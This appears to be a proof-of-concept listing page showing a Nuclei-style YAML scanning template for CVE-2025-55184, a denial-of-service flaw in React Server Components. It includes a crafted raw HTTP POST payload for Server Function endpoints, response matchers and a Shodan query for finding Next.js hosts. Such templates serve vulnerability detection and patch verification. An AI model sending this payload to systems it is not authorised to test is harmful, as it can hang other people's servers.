4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-55184.yaml YAML
id: CVE-2025-55184

info:
  name: React Server Components - DOS
  author: DhiyaneshDk,CyberTechAjju
  severity: high
  description: |
    React Server Components 19.0.0 to 19.2.1 including react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack contain an insecure deserialization vulnerability caused by unsafe payload deserialization in Server Function endpoints, letting unauthenticated attackers cause denial of service by hanging the server process.
  impact: |
    Unauthenticated attackers can cause the server to hang indefinitely, resulting in denial of service and preventing legitimate requests.
  remediation: |
    Update to the latest version beyond 19.2.1.
  reference:
    - https://vercel.com/kb/bulletin/security-bulletin-cve-2025-55184-and-cve-2025-55183#patched-versions
    - https://www.facebook.com/security/advisories/cve-2025-55184
    - https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,headless,nextjs,react,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/x-component
        Content-Type: application/x-www-form-urlencoded
        Next-Action: x

        0=["$F1"]&1={"id":"x","bound":null}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'text/plain')"
          - "status_code == 404"
          - 'contains(body, "Server action not found")'
        condition: and
# digest: 490a0046304402205898f2f1bc1b4a7bb3a8ace17c6e57457539f1a4088a3f3222e57394394dc47102200e92451037cba0f1d6fe84a963e6323e60ceafc2e5a4972f05e1ff9c1466918e:922c64590222798bb761d5b6d8e72950